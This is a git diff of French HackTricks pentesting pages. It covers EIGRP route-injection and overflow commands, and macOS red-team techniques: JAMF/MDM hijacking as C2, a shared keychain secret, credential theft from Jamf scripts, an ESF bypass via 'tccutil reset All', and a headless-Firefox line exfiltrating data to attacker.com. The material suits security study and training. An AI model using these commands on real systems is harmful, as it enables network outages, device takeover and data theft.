-L'essence de cette attaque est une simple injection d'une fausse route qui empoisonnera la table de routage. Le trafic vers, disons, le réseau `10.10.100.0/24` ne mènera nulle part, causant un déni de service. Une telle attaque est appelée un Trou noir. Le script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) sera l'outil utilisé pour la réaliser. Pour cet exemple, je vais envoyer du trafic destiné à l'hôte `172.16.100.140/32` vers le trou noir.
+L'essence de cette attaque est une simple injection d'une fausse route qui empoisonnera la table de routage. Le trafic vers, disons, le réseau `10.10.100.0/24` ne mènera nulle part, causant un déni de service. Une telle attaque est appelée un Blackhole. Le script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) sera l'outil utilisé pour la réaliser. Pour cet exemple, je vais envoyer du trafic destiné à l'hôte `172.16.100.140/32` vers le trou noir.
 
 <figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
 
@@ -147,17 +175,17 @@ Arguments du script:
 ```
 ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
 ```
-<figure><img src="../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (20) (1) (2).png" alt=""><figcaption></figcaption></figure>
 
 **Notre hôte semble avoir des problèmes :)**
 
 <figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Comme vous pouvez le voir, l'hôte perd la connectivité avec l'hôte **172.16.100.140/32** en raison d'une injection de route.
+Comme vous pouvez le voir, l'hôte perd la connectivité avec l'hôte **172.16.100.140/32** en raison de l'injection de route.
 
 ### Abus des valeurs K <a href="#25aa" id="25aa"></a>
 
-Pour établir des voisins EIGRP, **les routeurs utilisent des valeurs K spéciales.** Elles doivent être identiques parmi tous les voisins EIGRP. Si au moins une valeur K ne correspond pas, le domaine EIGRP se bloquera et le voisinage sera rompu. Nous utiliserons [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) \*\*\*\* pour effectuer cette attaque\*\*.\*\*
+Pour établir des voisins EIGRP, **les routeurs utilisent des valeurs K spéciales.** Ils doivent être identiques parmi tous les voisins EIGRP. Si au moins une valeur K ne correspond pas, le domaine EIGRP se bloquera et le voisinage sera rompu. Nous utiliserons [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) \*\*\*\* pour effectuer cette attaque\*\*.\*\*
 
 <figure><img src="../../.gitbook/assets/image (12) (2).png" alt=""><figcaption></figcaption></figure>
 
@@ -193,9 +221,9 @@ in9uz@Inguz:~$ sudo python3 routingtableoverflow.py --interface eth0 --as 1 --sr
 ```
 Après l'exécution du script, la table de routage commence à déborder de routes. Les adresses aléatoires des réseaux cibles sont dues à l'utilisation de **RandIP()** dans [**Scapy**](https://github.com/secdev/scapy).
 
-<figure><img src="../../.gitbook/assets/image (4) (4).png" alt=""><figcaption><p>Table de routage débordée sur le routeur GW1</p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (4) (4).png" alt=""><figcaption><p>La table de routage déborde sur le routeur GW1</p></figcaption></figure>
 
-<figure><img src="../../.gitbook/assets/image (21) (1).png" alt=""><figcaption><p>Processeur du routeur surchargé</p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (21) (1).png" alt=""><figcaption><p>Processeur de routeur surchargé</p></figcaption></figure>
 
 <details>
 
@@ -204,7 +232,7 @@ Après l'exécution du script, la table de routage commence à déborder de rout
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

macos-hardening/macos-red-teaming/README.md

@@ -1,4 +1,4 @@
-# Red Teaming macOS
+# macOS Red Teaming
 
 <details>
 
@@ -12,20 +12,103 @@
 
 </details>
 
-## Méthodes de gestion courantes
+## Abus des MDM
 
 * JAMF Pro: `jamf checkJSSConnection`
 * Kandji
 
 Si vous parvenez à **compromettre les identifiants d'administrateur** pour accéder à la plateforme de gestion, vous pouvez **potentiellement compromettre tous les ordinateurs** en distribuant votre logiciel malveillant sur les machines.
 
-Pour le red teaming dans les environnements macOS, il est fortement recommandé de comprendre le fonctionnement des MDM :
+Pour le red teaming dans les environnements MacOS, il est fortement recommandé de comprendre comment fonctionnent les MDM :
 
 {% content-ref url="macos-mdm/" %}
 [macos-mdm](macos-mdm/)
 {% endcontent-ref %}
 
-Et aussi sur les **protocoles réseau** **spéciaux** de **MacOS** :
+### Utilisation de MDM comme C2
+
+Un MDM aura l'autorisation d'installer, de consulter ou de supprimer des profils, d'installer des applications, de créer des comptes d'administrateur locaux, de définir un mot de passe du micrologiciel, de changer la clé FileVault...
+
+Pour exécuter votre propre MDM, vous devez **obtenir votre CSR signé par un fournisseur** que vous pourriez essayer d'obtenir avec [**https://mdmcert.download/**](https://mdmcert.download/). Et pour exécuter votre propre MDM pour les appareils Apple, vous pouvez utiliser [**MicroMDM**](https://github.com/micromdm/micromdm).
+
+Cependant, pour installer une application sur un appareil inscrit, vous avez toujours besoin qu'elle soit signée par un compte de développeur... cependant, lors de l'inscription au MDM, le **dispositif ajoute le certificat SSL du MDM en tant que CA de confiance**, vous pouvez donc maintenant signer n'importe quoi.
+
+Pour inscrire le dispositif dans un MDM, vous devez installer un fichier **`mobileconfig`** en tant que root, qui pourrait être livré via un fichier **pkg** (vous pourriez le compresser en zip et lorsqu'il est téléchargé depuis safari, il sera décompressé).
+
+L'agent Mythic Orthrus utilise cette technique.
+
+### Abus de JAMF PRO
+
+JAMF peut exécuter des **scripts personnalisés** (scripts développés par l'administrateur système), des **charges utiles natives** (création de compte local, définition du mot de passe EFI, surveillance de fichiers/processus...) et des **MDM** (configurations de dispositif, certificats de dispositif...).
+
+#### Auto-inscription JAMF
+
+Allez sur une page telle que `https://<company-name>.jamfcloud.com/enroll/` pour voir si **l'auto-inscription est activée**. S'ils l'ont, il pourrait **demander des identifiants pour y accéder**.
+
+Vous pouvez utiliser le script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) pour effectuer une attaque de pulvérisation de mot de passe.
+
+De plus, après avoir trouvé les identifiants appropriés, vous pourriez être en mesure de forcer d'autres noms d'utilisateur avec le formulaire suivant :
+
+![](<../../.gitbook/assets/image (19).png>)
+
+#### Authentification de l'appareil JAMF
+
+<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
+
+Le binaire **`jamf`** contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était **partagé** entre tout le monde et c'était : **`jk23ucnq91jfu9aj`**.\
+De plus, jamf **persiste** en tant que **LaunchDaemon** dans **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
+
+#### Prise de contrôle de l'appareil JAMF
+
+L'URL **JSS** (Jamf Software Server) que **`jamf`** utilisera est située dans **`/Library/Preferences/com.jamfsoftware.jamf.plist`**. \
+Ce fichier contient essentiellement l'URL :
+
+{% code overflow="wrap" %}
+```bash
+plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
+
+[...]
+	<key>is_virtual_machine</key>
+	<false/>
+	<key>jss_url</key>
+	<string>https://halbornasd.jamfcloud.com/</string>
+	<key>last_management_framework_change_id</key>
+	<integer>4</integer>
+[...]
+```
+{% endcode %}
+
+Ainsi, un attaquant pourrait déposer un package malveillant (`pkg`) qui **écrase ce fichier** lorsqu'il est installé en définissant l'**URL vers un écouteur Mythic C2 à partir d'un agent Typhon** pour pouvoir maintenant abuser de JAMF en tant que C2.
+```bash
+# After changing the URL you could wait for it to be reloaded or execute:
+sudo jamf policy -id 0
+
+# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
+```
+{% endcode %}
+
+#### Impersonation JAMF
+
+Pour **usurper la communication** entre un appareil et JMF, vous avez besoin de :
+
+* L'**UUID** de l'appareil : `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
+* La **clé JAMF** depuis : `/Library/Application\ Support/Jamf/JAMF.keychain` qui contient le certificat de l'appareil
+
+Avec ces informations, **créez une machine virtuelle** avec l'**UUID matériel volé** et avec **SIP désactivé**, déposez la **clé JAMF**, **accrochez** l'agent Jamf et volez ses informations.
+
+#### Vol de secrets
+
+<figure><img src="../../.gitbook/assets/image (8).png" alt=""><figcaption><p>a</p></figcaption></figure>
+
+Vous pouvez également surveiller l'emplacement `/Library/Application Support/Jamf/tmp/` pour les **scripts personnalisés** que les administrateurs pourraient vouloir exécuter via Jamf car ils sont **placés ici, exécutés et supprimés**. Ces scripts **peuvent contenir des informations d'identification**.
+
+Cependant, les **informations d'identification** peuvent être transmises à ces scripts en tant que **paramètres**, vous devrez donc surveiller `ps aux | grep -i jamf` (sans même être root).
+
+Le script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) peut écouter les nouveaux fichiers ajoutés et les nouveaux arguments de processus.
+
+### Accès à distance à macOS
+
+Et aussi sur les **protocoles réseau** **"spéciaux"** de **MacOS** :
 
 {% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
 [macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
@@ -33,7 +116,7 @@ Et aussi sur les **protocoles réseau** **spéciaux** de **MacOS** :
 
 ## Active Directory
 
-Dans certains cas, vous constaterez que l'**ordinateur macOS est connecté à un AD**. Dans ce scénario, vous devriez essayer de **d'énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes :
+Dans certains cas, vous constaterez que l'ordinateur **MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer de **d'énumérer** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes :
 
 {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
 [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@@ -47,7 +130,7 @@ Dans certains cas, vous constaterez que l'**ordinateur macOS est connecté à un
 [pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
 {% endcontent-ref %}
 
-Un **outil local MacOS** qui peut également vous aider est `dscl`:
+Un **outil MacOS local** qui peut également vous aider est `dscl`:
 ```bash
 dscl "/Active Directory/[Domain]/All Domains" ls /
 ```
@@ -55,10 +138,10 @@ Il existe également des outils préparés pour MacOS pour énumérer automatiqu
 
 * [**Machound**](https://github.com/XMCyber/MacHound) : MacHound est une extension de l'outil d'audit Bloodhound permettant de collecter et d'ingérer des relations Active Directory sur des hôtes MacOS.
 * [**Bifrost**](https://github.com/its-a-feature/bifrost) : Bifrost est un projet Objective-C conçu pour interagir avec les API Heimdal krb5 sur macOS. Le but du projet est de permettre de meilleurs tests de sécurité autour de Kerberos sur les appareils macOS en utilisant des API natives sans nécessiter d'autres frameworks ou packages sur la cible.
-* [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript pour l'automatisation (JXA) pour effectuer une énumération Active Directory.
+* [**Orchard**](https://github.com/its-a-feature/Orchard) : Outil JavaScript pour l'automatisation (JXA) pour l'énumération Active Directory.
 
 ### Informations de domaine
-```
+```bash
 echo show com.apple.opendirectoryd.ActiveDirectory | scutil
 ```
 ### Utilisateurs
@@ -106,13 +189,21 @@ Le Red Teaming de MacOS est différent d'un Red Teaming régulier de Windows car
 
 ![](<../../.gitbook/assets/image (563).png>)
 
-###
+## Techniques diverses de Red Team
+
+### Safari
+
+Lorsqu'un fichier est téléchargé dans Safari, s'il s'agit d'un fichier "sûr", il sera **automatiquement ouvert**. Par exemple, si vous **téléchargez un fichier zip**, il sera automatiquement décompressé:
+
+<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
 
 ## Références
 
-* [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E)
-* [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
-* [https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
+* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
+* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
+* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
+* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
+* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
 
 <details>
 

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md

@@ -64,7 +64,7 @@ Index Refs Address            Size       Wired      Name (Version) UUID <Linked
     9    2 0xffffff8003317000 0xe000     0xe000     com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
    10   12 0xffffff8003544000 0x92000    0x92000    com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
 ```
-Jusqu'au numéro 9, les pilotes répertoriés sont **chargés à l'adresse 0**. Cela signifie qu'il ne s'agit pas de pilotes réels mais **d'une partie du noyau et qu'ils ne peuvent pas être déchargés**.
+Jusqu'au numéro 9, les pilotes répertoriés sont **chargés à l'adresse 0**. Cela signifie qu'il ne s'agit pas de vrais pilotes mais **d'une partie du noyau et qu'ils ne peuvent pas être déchargés**.
 
 Pour trouver des extensions spécifiques, vous pouvez utiliser:
 ```bash
@@ -82,14 +82,22 @@ kextunload com.apple.iokit.IOReportFamily
 [macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
 {% endcontent-ref %}
 
-## Extensions de noyau macOS
+## Extensions du noyau macOS
 
-macOS est **très restrictif pour charger des extensions de noyau** (.kext) en raison des privilèges élevés avec lesquels le code s'exécutera. En fait, par défaut, il est pratiquement impossible (à moins qu'une méthode de contournement ne soit trouvée).
+macOS est **très restrictif pour charger les extensions du noyau** (.kext) en raison des privilèges élevés avec lesquels le code s'exécutera. En fait, par défaut, c'est pratiquement impossible (à moins qu'une faille ne soit trouvée).
 
 {% content-ref url="macos-kernel-extensions.md" %}
 [macos-kernel-extensions.md](macos-kernel-extensions.md)
 {% endcontent-ref %}
 
+### Extensions système macOS
+
+Au lieu d'utiliser des extensions du noyau, macOS a créé les extensions système, qui offrent des API de niveau utilisateur pour interagir avec le noyau. De cette façon, les développeurs peuvent éviter d'utiliser des extensions du noyau.
+
+{% content-ref url="macos-system-extensions.md" %}
+[macos-system-extensions.md](macos-system-extensions.md)
+{% endcontent-ref %}
+
 ## Références
 
 * [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md

@@ -22,7 +22,7 @@ Les extensions de noyau (Kexts) sont des **bundles** utilisant l'extension **`.k
 
 * En allant en mode de récupération, les Kexts doivent être **autorisés à être chargés** :
 
-<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
 
 * Le Kext doit être **signé avec un certificat de signature de code de noyau**, qui ne peut être accordé que par **Apple**. Qui va **examiner** en détail la **société** et les **raisons** pour lesquelles cela est nécessaire.
 * Le Kext doit également être **notarisé**, Apple pourra le vérifier pour les logiciels malveillants.

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md

@@ -0,0 +1,100 @@
+## Extensions système macOS
+
+<details>
+
+<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
+
+* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
+* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs.
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com).
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+
+</details>
+
+## Extensions système / Framework de sécurité des points de terminaison
+
+Contrairement aux extensions de noyau, les **extensions système s'exécutent dans l'espace utilisateur** plutôt que dans l'espace du noyau, réduisant ainsi le risque de plantage du système en raison d'un dysfonctionnement de l'extension.
+
+<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
+
+Il existe trois types d'extensions système : les extensions **DriverKit**, les extensions **Network** et les extensions **Endpoint Security**.
+
+### **Extensions DriverKit**
+
+DriverKit est un remplacement des extensions de noyau qui **fournit une assistance matérielle**. Il permet aux pilotes de périphériques (tels que les pilotes USB, série, NIC et HID) de s'exécuter dans l'espace utilisateur plutôt que dans l'espace du noyau. Le framework DriverKit comprend des **versions d'espace utilisateur de certaines classes I/O Kit**, et le noyau transfère les événements normaux de l'I/O Kit vers l'espace utilisateur, offrant ainsi un environnement plus sûr pour l'exécution de ces pilotes.
+
+### **Extensions Network**
+
+Les extensions réseau offrent la possibilité de personnaliser les comportements réseau. Il existe plusieurs types d'extensions réseau :
+
+* **Proxy d'application** : cela est utilisé pour créer un client VPN qui implémente un protocole VPN personnalisé orienté flux. Cela signifie qu'il gère le trafic réseau en fonction des connexions (ou flux) plutôt que des paquets individuels.
+* **Tunnel de paquets** : cela est utilisé pour créer un client VPN qui implémente un protocole VPN personnalisé orienté paquet. Cela signifie qu'il gère le trafic réseau en fonction des paquets individuels.
+* **Filtrer les données** : cela est utilisé pour filtrer les "flux" réseau. Il peut surveiller ou modifier les données réseau au niveau du flux.
+* **Filtrer les paquets** : cela est utilisé pour filtrer les paquets réseau individuels. Il peut surveiller ou modifier les données réseau au niveau du paquet.
+* **Proxy DNS** : cela est utilisé pour créer un fournisseur DNS personnalisé. Il peut être utilisé pour surveiller ou modifier les demandes et les réponses DNS.
+
+## Framework de sécurité des points de terminaison
+
+Endpoint Security est un framework fourni par Apple dans macOS qui fournit un ensemble d'API pour la sécurité du système. Il est destiné à être utilisé par les **fournisseurs de sécurité et les développeurs pour construire des produits qui peuvent surveiller et contrôler l'activité du système** pour identifier et protéger contre les activités malveillantes.
+
+Ce framework fournit une **collection d'API pour surveiller et contrôler l'activité du système**, telle que les exécutions de processus, les événements du système de fichiers, les événements réseau et du noyau.
+
+Le cœur de ce framework est implémenté dans le noyau, en tant qu'extension de noyau (KEXT) située dans **`/System/Library/Extensions/EndpointSecurity.kext`**. Cette KEXT est composée de plusieurs composants clés :
+
+* **EndpointSecurityDriver** : cela agit comme le "point d'entrée" pour l'extension de noyau. C'est le principal point d'interaction entre le système d'exploitation et le framework Endpoint Security.
+* **EndpointSecurityEventManager** : ce composant est responsable de la mise en œuvre des hooks de noyau. Les hooks de noyau permettent au framework de surveiller les événements du système en interceptant les appels système.
+* **EndpointSecurityClientManager** : cela gère la communication avec les clients de l'espace utilisateur, en suivant les clients connectés et qui ont besoin de recevoir des notifications d'événements.
+* **EndpointSecurityMessageManager** : cela envoie des messages et des notifications d'événements aux clients de l'espace utilisateur.
+
+Les événements que le framework Endpoint Security peut surveiller sont catégorisés en :
+
+* Événements de fichier
+* Événements de processus
+* Événements de socket
+* Événements du noyau (tels que le chargement/déchargement d'une extension de noyau ou l'ouverture d'un périphérique I/O Kit)
+
+### Architecture du framework de sécurité des points de terminaison
+
+<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
+
+La **communication de l'espace utilisateur** avec le framework Endpoint Security se fait via la classe IOUserClient. Deux sous-classes différentes sont utilisées, en fonction du type d'appelant :
+
+* **EndpointSecurityDriverClient** : cela nécessite l'attribution `com.apple.private.endpoint-security.manager`, qui n'est détenue que par le processus système `endpointsecurityd`.
+* **EndpointSecurityExternalClient** : cela nécessite l'attribution `com.apple.developer.endpoint-security.client`. Cela serait généralement utilisé par des logiciels de sécurité tiers qui ont besoin d'interagir avec le framework Endpoint Security.
+
+Les extensions de sécurité des points de terminaison : **`libEndpointSecurity.dylib`** est la bibliothèque C que les extensions système utilisent pour communiquer avec le noyau. Cette bibliothèque utilise l'I/O Kit (`IOKit`) pour communiquer avec la KEXT Endpoint Security.
+
+**`endpointsecurityd`** est un démon système clé impliqué dans la gestion et le lancement des extensions système de sécurité des points de terminaison, en particulier pendant le processus de démarrage initial. Seules les extensions système marquées avec **`NSEndpointSecurityEarlyBoot`** dans leur fichier `Info.plist` reçoivent ce traitement de démarrage initial.
+
+Un autre démon système, **`sysextd`**, **valide les extensions système** et les déplace dans les emplacements système appropriés. Il demande ensuite au démon pertinent de charger l'extension. Le **`SystemExtensions.framework`** est responsable de l'activation et de la désactivation des extensions système.
+
+## Contourner ESF
+
+ESF est utilisé par des outils de sécurité qui essaieront de détecter un red teamer, donc toute information sur la façon dont cela pourrait être évité est intéressante.
+
+### CVE-2021-30965
+
+Le problème est que l'application de sécurité doit avoir des **autorisations d'accès complet au disque**. Donc, si un attaquant pouvait les supprimer, il pourrait empêcher le logiciel de s'exécuter :
+```bash
+tccutil reset All
+```
+Pour **plus d'informations** sur cette faille et les failles connexes, consultez la présentation [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
+
+Finalement, cela a été corrigé en donnant la nouvelle permission **`kTCCServiceEndpointSecurityClient`** à l'application de sécurité gérée par **`tccd`** afin que `tccutil` ne supprime pas ses autorisations, l'empêchant ainsi de s'exécuter.
+
+## Références
+
+* [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
+
+<details>
+
+<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
+
+* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
+* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+
+</details>

macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

@@ -5,7 +5,7 @@
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
-* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -46,7 +46,7 @@ lsof -i TCP -sTCP:ESTABLISHED
 
 Les résolutions DNS sont effectuées via l'application signée **`mdnsreponder`** qui sera probablement autorisée à contacter les serveurs DNS.
 
-<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Via les applications de navigateur
 
@@ -70,7 +70,7 @@ end tell
 
 * Firefox
 
-*Firefox* est un navigateur web open source populaire qui est disponible pour macOS. Il est souvent utilisé pour naviguer sur le web et pour accéder à des sites web qui peuvent être bloqués par un pare-feu. Les pare-feu peuvent bloquer l'accès à certains sites web en fonction de leur adresse IP ou de leur nom de domaine. Si vous rencontrez des difficultés pour accéder à un site web en raison d'un pare-feu, vous pouvez essayer d'utiliser *Firefox* pour contourner le blocage.
+*Firefox*
 ```bash
 firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
 ```

macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md

@@ -195,7 +195,7 @@ Exemple d'**en-tête de section**:
 
 Si vous **ajoutez** le **décalage de section** (0x37DC) + le **décalage** où commence l'**architecture**, dans ce cas `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
 
-<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 Il est également possible d'obtenir des **informations d'en-tête** à partir de la **ligne de commande** avec:
